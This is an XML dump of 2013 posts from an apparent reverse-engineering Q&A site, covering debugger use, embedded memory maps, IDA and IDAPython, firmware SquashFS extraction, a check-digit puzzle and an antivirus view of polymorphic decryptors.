  <row Id="2180" PostTypeId="1" CreationDate="2013-06-03T14:38:57.293" Score="3" ViewCount="450" Body="&lt;p&gt;I'd like to get all the addresses in the binary that some function is called from using PyDbg. The address of the function will be supplied as a parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have actually to scan all the code, looking for the call that is calling that function or is there a more elegant way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is not exported or imported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;strong&gt;ImmDbg&lt;/strong&gt;  how can it find all the references and show them?&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-06-03T19:26:20.710" LastActivityDate="2013-06-03T19:26:20.710" Title="How to get all the references to function using PyDBG?" Tags="|malware|debuggers|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostTypeId="1" AcceptedAnswerId="2183" CreationDate="2013-06-03T17:03:07.547" Score="7" ViewCount="1798" Body="&lt;p&gt;On many embedded systems, a great deal of communication with devices is done by reading and writing to memory-mapped I/O (MMIO) addresses in software. Supposing that I have access to the physical device, and a copy of the firmware that I can load in IDA, how can I figure out which devices are at which addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've just been making guesses by looking at the code, string references (e.g., if a function prints out &quot;Initializing timer interrupt&quot; I can guess that maybe some of the addresses are for configuring a timer). But surely &lt;em&gt;something&lt;/em&gt; must know where all the devices live in memory, because something is responsible for routing memory reads/writes to the correct device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a more systematic way to derive this information?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2013-06-03T17:09:02.913" LastActivityDate="2013-06-03T17:57:11.623" Title="How can I figure out the device memory map for an embedded system?" Tags="|hardware|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2182" PostTypeId="2" ParentId="2180" CreationDate="2013-06-03T17:05:23.687" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Put a breakpoint on the function address.&lt;/li&gt;&#xA;&lt;li&gt;When hit, get the dword at &lt;code&gt;ESP&lt;/code&gt; - that would be the return address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This, obviously, will catch only the actual calls, not all potential ones.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-03T17:05:23.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostTypeId="2" ParentId="2181" CreationDate="2013-06-03T17:20:50.717" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But surely something must know where all the devices live in memory, because something is responsible for routing memory reads/writes to the correct device.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In embedded devices there's nothing like PCI (well, it may be present but it's just one of the many HW blocks). So you can't just scan all possibilities to discover the existing devices. The code must know where everything is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there are some sources of information you may try to find.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Datasheets - always the best choice. Even if there are typos and c&amp;amp;p errors it still beats anything else. Note that many manufacturers have separate &lt;em&gt;datasheets&lt;/em&gt; for pinout, electrical/temperature characteristics of specific chips, and &lt;em&gt;user manuals&lt;/em&gt; (also called software or programming manuals) which are shared among many chips in the same family. You usually need the latter, though sometimes the former can also give some useful hints.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Any&lt;/em&gt; source code (OS, drivers, etc) you may find for the device. Even if it's not for the specific hardware block you're interested in, the headers may include defines for it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can't find the exact match for your chip, look for anything in the same family - often the differences are just sizes of some blocks or number of ports.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at the docs for the same HW blocks in &lt;em&gt;any&lt;/em&gt; chip of this manufacturer. Some makers reuse their IP blocks across architectures - e.g. Infineon used pretty much the same GPIO blocks in their E-GOLD (C166) and S-GOLD (ARM) basebands. Renesas is another example - they reused IP blocks from SuperH series in their ARM chips.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some hardware is standardized across all architectures and manufacturers, e.g.: PCI, USB controllers (OHCI, EHCI, XHCI), SD host controllers, eMMC and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: sometimes, the hardware &lt;em&gt;external&lt;/em&gt; to chip may be connected via an &lt;em&gt;external bus interface&lt;/em&gt; (or external memory interface, or many other names). This is usually present in the bigger chips with at least a hundred pins. This interface can be programmable, and you can set up which address ranges go to which set of pins. Often there are also so-called &lt;em&gt;chip select&lt;/em&gt; (CS) lines involved, which allow multiplexing the same set of pins for accessing several devices, so that one range of addresses will assert CS1, the other CS2 and so on. If you have such a set up, you need to find out the code which initializes the external interface, or dump its configuration at runtime. If you can't do that, you can try looking for memory accesses which correspond to the register layout of the external chip (such as an Ethernet controller), modulo some base address in the CPU's address space.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-06-03T17:57:11.623" LastActivityDate="2013-06-03T17:57:11.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostTypeId="2" ParentId="2180" CreationDate="2013-06-03T17:34:07.597" Score="5" Body="&lt;p&gt;Since you want all the &lt;code&gt;call&lt;/code&gt; instructions (and possibly fake &lt;code&gt;call&lt;/code&gt;s using &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;jmp&lt;/code&gt; and similar using opaque predicates) you won't get around static analysis (&lt;a href=&quot;/questions/tagged/static-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'static-analysis'&quot; rel=&quot;tag&quot;&gt;static-analysis&lt;/a&gt;) of the binary. And if the binary is in any way packed or encrypted that means you need to get through that layer first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Igor's solution will be your best bet short of loading the file into a good disassembler and finding all the cross-references to the function you are interested in. But it has the limitation that Igor already pointed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static analysis has to deal with a lot of ambiguities and issues when distinguishing data and code. But &lt;em&gt;good&lt;/em&gt; disassemblers are fairly good at making the right guess and will offer to interactively mark items one way or the other in case of doubt.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Conclusion&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;What this means is that PyDbg is probably not the right tool for the problem at hand unless you manage to coerce it into making use of a proper full-fledged disassembler to get all cross-references. But the better choice is probably something like &lt;a href=&quot;http://radare.org/&quot;&gt;radare2&lt;/a&gt; and then, if you are more familiar with PyDbg, applying the gained knowledge to the debugged target in PyDbg.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-06-03T17:34:07.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostTypeId="1" AcceptedAnswerId="2186" CreationDate="2013-06-03T22:45:34.807" Score="3" ViewCount="1968" Body="&lt;p&gt;&lt;a href=&quot;http://www.openwatcom.org&quot; rel=&quot;nofollow&quot;&gt;OpenWatcom's&lt;/a&gt; debugger just executes the binary instead of single-stepping through it, when I attempt the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;File-&amp;gt;Open&lt;/code&gt;, select executable&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Run-&amp;gt;Trace Into&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This attempt &lt;a href=&quot;http://chat.stackexchange.com/transcript/message/9732918#9732918&quot;&gt;is on Windows XP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I single step through a program using OpenWatcom's debugger?&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="189" LastEditDate="2013-06-12T07:18:22.313" LastActivityDate="2013-06-12T07:18:41.613" Title="How to debug using OpenWatcom's debugger?" Tags="|windows|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2186" PostTypeId="2" ParentId="2185" CreationDate="2013-06-04T01:58:21.510" Score="5" Body="&lt;p&gt;Okay, Windows XP, OpenWatcom. I am using OpenWatcom 1.9. When trying to reproduce your problem, I used &lt;code&gt;calc.exe&lt;/code&gt; from Windows XP for which there are no Watcom debug symbols available (only the PDB format from Microsoft, which Watcom doesn't support &lt;em&gt;at all&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When dismissing the open dialog from your first step, we get the assembly view like this. I am returning from that call (&lt;code&gt;Run -&amp;gt; Until Return&lt;/code&gt;) a few times and realize that the call stack shows I am still in the loader phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LjloV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most logical thing to do now would be to break at either &lt;code&gt;kernel32!BaseThreadInitThunk&lt;/code&gt; which is basically &lt;em&gt;the&lt;/em&gt; entry point for any Win32 thread, including the very first in a process, but isn't exported (and, remember, we have no symbols). For a writeup on the startup process, see &lt;a href=&quot;http://abdelrahmanogail.wordpress.com/2010/11/05/thread-basics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or the &quot;Windows Internals&quot; book. The next possible candidate would be &lt;code&gt;ntdll!RtlUserThreadStart&lt;/code&gt; which also isn't exported and therefore unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming you really have no modern debugger (WinDbg, cdb, let alone IDA, Hopper and friends) available, and don't want to use &lt;a href=&quot;http://live.sysinternals.com/livekd.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;livekd.exe&lt;/code&gt; from SysInternals&lt;/a&gt; (which however requires a recent &lt;code&gt;dbghelp.dll&lt;/code&gt;) the only method that seems to be reasonable is to load your target executable into an editor (&lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF Explorer comes to mind&lt;/a&gt;) and put an &lt;code&gt;int3&lt;/code&gt; (&lt;code&gt;cc&lt;/code&gt;) instruction at the entry point or simply move the entry point elsewhere. In my case I chose to overwrite the &lt;code&gt;push 70h&lt;/code&gt; (&lt;code&gt;6A 70&lt;/code&gt;) with &lt;code&gt;int3; nop&lt;/code&gt; (&lt;code&gt;CC 90&lt;/code&gt;). That enabled me to break at the beginning of the program (not considering TLS callbacks or anything like that, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another less intrusive method is to use the above mentioned CFF Explorer or really any suitable tool to give you the VA of the entry point. Since we're talking about Windows XP we need not worry about ASLR or anything like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z8YPK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry point in our case is at RVA &lt;code&gt;0x12475&lt;/code&gt;, which the Address Converter translates to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Henkx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VA &lt;code&gt;0x1012475&lt;/code&gt;. Sweet. Now we can try to let OpenWatcom stop at this address. Setting a bpx at this address (&lt;code&gt;Break -&amp;gt; View All -&amp;gt; Rightclick -&amp;gt; New&lt;/code&gt;, enter address) and then pressing &lt;kbd&gt;F5&lt;/kbd&gt; (for &quot;Go&quot;) to skip the startup phase for the process gets us straight to the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFfzH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there we can use &lt;kbd&gt;F8&lt;/kbd&gt; for further single-stepping. And I'm sure similar to the experience we shared during the startup phase, any little thing that changed since the debugger was last adjusted to a more recent OS will trip you (or rather the OW debugger) up. Short of switching debuggers, you might want to make heavy use of &lt;code&gt;Break -&amp;gt; On Debug Message&lt;/code&gt;, but even that seemed of little use when I tried it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's possible, but heck it's tedious and it may fall short of your needs at any point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite frankly, some debuggers are better left alone when no source is available (assembly debugging). Admittedly I am not as familiar with the Watcom debugger as with GDB or WinDbg, but I've used it in the past and found it pure horror &lt;em&gt;with&lt;/em&gt; symbols. That impression will likely only get worse &lt;em&gt;without&lt;/em&gt; symbols. I find myself confirmed in that sense from looking into the issue you were experiencing.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;20th century debugging&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;OpenWatcom, while still being &quot;developed&quot; is old. Its roots are in the old Sybase product Watcom, which had a broad following. Problem is, that this product existed even before Windows 2000. So I don't think you can expect a lot from it, as most people these days are using compilers and debuggers with better support. Be it WinDbg or be it GDB if you happen to use MinGW or something like that.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-06-04T01:58:21.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2189" PostTypeId="2" ParentId="2169" CreationDate="2013-06-04T17:24:59.817" Score="8" Body="&lt;p&gt;To detect the polymorphic engine itself - properly - requires a copy of the engine.  That was the case in the past, since the virus carried the engine in order to produce new copies of itself.  The obvious attack against that is server-side polymorphism, where we (&quot;we&quot;=the AV industry) are left to guess at the capabilities of the engine, and which can change at any time, in response to our detections.&#xA;However, back to the actual question:&#xA;given an engine that can produce a sequence like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov reg1, offset_of_crypted&#xA;&#xA;[optional garbage from set 1]&#xA;[optional garbage from set 2]&#xA;[optional garbage from set 3]&#xA;&#xA;mov reg2, key_for_crypted&#xA;&#xA;[optional garbage from set 1]&#xA;[optional garbage from set 2]&#xA;[optional garbage from set 3]&#xA;&#xA;mov reg3, size_of_crypted&#xA;&#xA;[optional garbage from set 1]&#xA;[optional garbage from set 2]&#xA;[optional garbage from set 3]&#xA;&#xA;[decrypt]&#xA;&#xA;[optional garbage from set 1]&#xA;[optional garbage from set 2]&#xA;[optional garbage from set 3]&#xA;&#xA;[adjust reg3]&#xA;&#xA;[optional garbage from set 1]&#xA;[optional garbage from set 2]&#xA;[optional garbage from set 3]&#xA;&#xA;[branch to decrypt until reg3 completes]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then we can analyse the opcodes that can produce the register assignments, and we know the set of garbage instructions, the decryption methods, the register adjustment, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, we can use a state machine to watch for the real instructions, and ignore the fake ones.  The implementation details of that are long and boring, and not suitable as an answer here.&#xA;It's a one-engine one-algorithm relationship, in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, the emulator became the most useful tool that we have against that attack, allowing us to essentially &quot;let the virus decrypt itself&quot; and then we can see what's underneath (the attack against that is obviously metamorphism, and the simplest implementation is at the source level rather than post-compilation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, the answer is generally &quot;we don't anymore&quot;.  That is, we tend to no longer detect the polymorphic engine itself.  There are of course exceptions to that, but they are few and far between these days.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="53" LastEditDate="2014-02-05T11:50:39.007" LastActivityDate="2014-02-05T11:50:39.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2190" PostTypeId="1" AcceptedAnswerId="11111" CreationDate="2013-06-04T19:47:44.587" Score="17" ViewCount="6488" Body="&lt;p&gt;IDAPython is great plugin in IDA. It is so handy to write small script to decode, decrypt or fix (patch) a binary in IDA.  I can just write, load and run a script, and can use &lt;code&gt;print&lt;/code&gt; for the usual shotgun debugging. But when I develop a bigger IDAPython script, I need a way to debug it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched and found that I can debug IDAPython with &lt;a href=&quot;http://wingware.com/doc/howtos/idapython&quot;&gt;WingIDE&lt;/a&gt; but I want to find another that doesn't require WingIDE. Is there another way to debug IDAPython scripts?&lt;/p&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="117" LastEditDate="2013-06-05T18:36:34.210" LastActivityDate="2019-08-07T12:33:38.853" Title="How to debug an IDAPython script from within IDA?" Tags="|python|idapython|ida|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostTypeId="1" CreationDate="2013-06-06T11:29:12.963" Score="8" ViewCount="468" Body="&lt;p&gt;I have the following numbers. It is a 14 digit identification number. The first 13 digits  (counting from left) are the number itself, the 14th (the least digit) digit is an integrity check code. I tried many combinations but failed to get the formula which this integrity check is done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decimal, 14 dig.| hexadecimal  | binary (grouped)&#xA;--------------------------------------&#xA;//effect of the least (decimal) digit&#xA;2840115110085 6 | 19d4a885c7b8 | 1100 1110 1010 0101 0100 0100 0010 1110 0011 1101 1100&#xA;2840115110086 4 | 19d4a885c7c0 | 1100 1110 1010 0101 0100 0100 0010 1110 0011 1110 0000&#xA;2840115110087 2 | 19d4a885c7c8 | 1100 1110 1010 0101 0100 0100 0010 1110 0011 1110 0100&#xA;2840115110088 1 | 19d4a885c7d1 | 1100 1110 1010 0101 0100 0100 0010 1110 0011 1110 1000&#xA;2840115110089 9 | 19d4a885c7e3 | 1100 1110 1010 0101 0100 0100 0010 1110 0011 1111 0001&#xA;//effect of changing 7th digit from left.&#xA;2840113000000 2 | 19d4a743ce82 | 1100 1110 1010 0101 0011 1010 0001 1110 0111 0100 0001&#xA;2840114000000 1 | 19d4a7dc6501 | 1100 1110 1010 0101 0011 1110 1110 0011 0010 1000 0000&#xA;2840115000000 9 | 19d4a874fb89 | 1100 1110 1010 0101 0100 0011 1010 0111 1101 1100 0100&#xA;2840116000000 7 | 19d4a90d9207 | 1100 1110 1010 0101 0100 1000 0110 1100 1001 0000 0011&#xA;2840117000000 5 | 19d4a9a62885 | 1100 1110 1010 0101 0100 1101 0011 0001 0100 0100 0010&#xA;2840118000000 3 | 19d4aa3ebf03 | 1100 1110 1010 0101 0101 0001 1111 0101 1111 1000 0001&#xA;2840119000000 1 | 19d4aad75581 | 1100 1110 1010 0101 0101 0110 1011 1010 1010 1100 0000&#xA;2840110000000 8 | 19d4a57a0b08 | 1100 1110 1010 0101 0010 1011 1101 0000 0101 1000 0100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a little Python script which was used to produce above listing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nums = [&#xA;28401151100856, 28401151100864, 28401151100872, 28401151100881,&#xA;28401151100899, 28401130000002, 28401140000001, 28401150000009,&#xA;28401160000007, 28401170000005, 28401180000003, 28401190000001,&#xA;28401100000008,&#xA;]&#xA;&#xA;def _2fmtdecimal(x):&#xA;        tmp = str(x)&#xA;        return tmp[0:13] + ' ' + tmp[13:]&#xA;&#xA;def _2fmtbinary(x):&#xA;        tmp = bin(x)[2:]&#xA;        tmp2 = ''&#xA;        for i,j,k,l in zip(tmp[::4], tmp[1::4], tmp[2::4], tmp[3::4]):&#xA;                tmp2 += i+j+k+l + ' '&#xA;        return tmp2&#xA;&#xA;for i in nums:&#xA;        print &quot;%s | %s | %s&quot; % (_2fmtdecimal(i), hex(i), _2fmtbinary(i))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2187" LastEditorUserId="189" LastEditDate="2013-07-12T12:30:27.937" LastActivityDate="2014-05-25T02:42:36.683" Title="What is the integrity check used?" Tags="|decryption|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="2193" PostTypeId="2" ParentId="2190" CreationDate="2013-06-06T17:43:33.660" Score="4" Body="&lt;p&gt;As far as i know there's no way to debug python inside IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are, however, a few python tools you could use to debug your own code.&#xA;but it will essentially require you to develop your own python IDE/debugger utilities around the built-in python debugging tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm listing the possible methods by order of complexity (simplest first):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compiling and running your own python code from python&lt;/strong&gt;&lt;br&gt;&#xA;The more basic approach is using the python &lt;code&gt;compile&lt;/code&gt; built-in function to compile python code into bytecode, executing that with &lt;code&gt;eval&lt;/code&gt; or &lt;code&gt;exec&lt;/code&gt; (also built-in functions). &lt;code&gt;compile&lt;/code&gt; returns an &lt;code&gt;AST&lt;/code&gt; (Abstract Syntax Tree) object you can further manipulate/investigate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using The python debugger (from python)&lt;/strong&gt;&lt;br&gt;&#xA;If you want more advanced debugging abilities, python has it's own built-in python debugger module called &lt;code&gt;pdb&lt;/code&gt;. You only need to tell &lt;code&gt;pdb&lt;/code&gt; what python code to execute, and it'll spawn a debugger interface similar to &lt;code&gt;gdb&lt;/code&gt;, the command line debugger lets you set conditional breakpoints, manipulate and analyze python code, and use most of the usual debugging tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the python debugging framework&lt;/strong&gt;&lt;br&gt;&#xA;the python debugger is built on top of python's &lt;code&gt;bdb&lt;/code&gt; (basic debugger), it is a class implementing debugging functionality and can be used from within IDA's python command line. If you're going to use the &lt;code&gt;bdb&lt;/code&gt; you'll have to create your own tools and UI around these utilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I saw WingIDE only now. since OP didn't specify what exactly is the issue using WingIDE, I hope at least one of the methods will be relevant.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2013-06-06T17:48:44.523" LastActivityDate="2013-06-06T17:48:44.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2194" PostTypeId="1" AcceptedAnswerId="2195" CreationDate="2013-06-07T01:11:42.543" Score="16" ViewCount="6013" Body="&lt;p&gt;Let's take a look of how IDA displays address of local variable. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, [EBP + var_4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we all know as far as local variables go, they are located at lower addresses of EBP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDoh3.png&quot; alt=&quot;Stack Frame&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, I have been taking it for granted and inevitable, I am still very curious. Why does IDA display local variable offset as &lt;strong&gt;&lt;code&gt;[EBP + var]&lt;/code&gt;&lt;/strong&gt;, not &lt;strong&gt;&lt;code&gt;[EBP - var]&lt;/code&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-06-07T01:55:54.887" Title="IDA EBP variable offset" Tags="|disassembly|assembly|static-analysis|callstack|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostTypeId="2" ParentId="2194" CreationDate="2013-06-07T01:55:54.887" Score="23" Body="&lt;p&gt;Have a look at the &lt;code&gt;var_4&lt;/code&gt; definition at the start of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_4 = dword ptr -4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it's actually negative as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more complete picture, use &lt;kbd&gt;Ctrl+K&lt;/kbd&gt; or double-click/Enter on the stack var to see the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/488.shtml&quot;&gt;stack frame layout&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-00000018 ; Two special fields &quot; r&quot; and &quot; s&quot; represent return address and saved registers.&#xA;-00000018 ; Frame size: 18; Saved regs: 4; Purge: 0&#xA;-00000018 ;&#xA;-00000018&#xA;-00000018 var_18          dd ?&#xA;-00000014 var_14          dd ?&#xA;-00000010 var_10          db 12 dup(?)&#xA;-00000004 var_4           dd ?&#xA;+00000000  s              db 4 dup(?)&#xA;+00000004  r              db 4 dup(?)&#xA;+00000008 arg_0           dd ?&#xA;+0000000C&#xA;+0000000C ; end of stack variables&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-07T01:55:54.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostTypeId="1" CreationDate="2013-06-07T16:16:25.070" Score="16" ViewCount="20435" Body="&lt;p&gt;for a few days I was trying to extract the filesystem of a router firmware. Checking the image that the vendor provides I can see a SquashFS flag on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;52          0x34        uImage header, header size: 64 bytes, header CRC: 0x1A27096C, created: Tue Nov 27 06:52:32 2012, image size: 3448768 bytes, Data Address: 0x80000000, Entry Point: 0x8023A000, data CRC: 0x584BBD98, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;Linux Kernel Image&quot;&#xA;116         0x74        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2445108 bytes&#xA;983092      0xF0034     Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 2463170 bytes,  637 inodes, blocksize: 65536 bytes, created: Tue Nov 27 06:51:11 2012 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once extracted the file and checking it with hexdump I found the folowing magic number &lt;strong&gt;shsq&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  73 68 73 71 7d 02 00 00  00 00 00 54 03 00 00 08  |shsq}......T....|&#xA;00000010  1c 71 b7 a0 12 71 b7 19  1f 73 00 18 03 00 00 00  |.q...q...s......|&#xA;00000020  38 72 10 00 c0 02 01 cf  54 b4 50 d4 0c 1f 10 00  |8r......T.P.....|&#xA;00000030  00 00 00 00 00 01 00 2c  00 00 00 02 00 a2 bf c2  |.......,........|&#xA;00000040  95 25 00 00 00 00 00 b6  95 25 00 00 00 00 00 be  |.%.......%......|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not the first time I found this header, but I couldn't find a solution for extract it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All versions of unsquashfs and firmware-mod-tools.&lt;/li&gt;&#xA;&lt;li&gt;Modify the header for a known one that the unsquash tool could recognize.&lt;/li&gt;&#xA;&lt;li&gt;This patch &lt;a href=&quot;http://sandeen.net/wordpress/computers/uncompressing-cisco-x2000-firmware-images/&quot;&gt;http://sandeen.net/wordpress/computers/uncompressing-cisco-x2000-firmware-images/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can find further information of this issue in this link but without solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forums.modem-help.co.uk/viewtopic.php?t=9668&quot;&gt;http://forums.modem-help.co.uk/viewtopic.php?t=9668&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has idea about how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="189" LastEditDate="2013-06-08T01:18:03.357" LastActivityDate="2019-09-28T07:14:00.243" Title="Extract SquashFS filesystem with shsq magic number" Tags="|binary-analysis|file-format|firmware|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostTypeId="1" AcceptedAnswerId="2198" CreationDate="2013-06-07T21:36:26.960" Score="4" ViewCount="382" Body="&lt;p&gt;I came across a small function whose only side effects were to modify the state of some processor flags. When I decompiled this function using the Hex Rays decompiler, I simply got an empty function, which is not useful at all in figuring out what the function does. Instead I had to look up each instruction in the assembly language manual and read the pseudocode to determine the net effect of the function. Is there some tool I can paste assembly instructions into and it will spit out &lt;em&gt;all&lt;/em&gt; side effects, including flags? I'm interested in x86.&lt;/p&gt;&#xA;" OwnerUserId="2142" LastEditorUserId="245" LastEditDate="2013-06-07T21:49:19.853" LastActivityDate="2013-06-07T21:49:19.853" Title="Take A Snippet of Assembly and Make All Side Effects Explicit?" Tags="|assembly|x86|ida|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
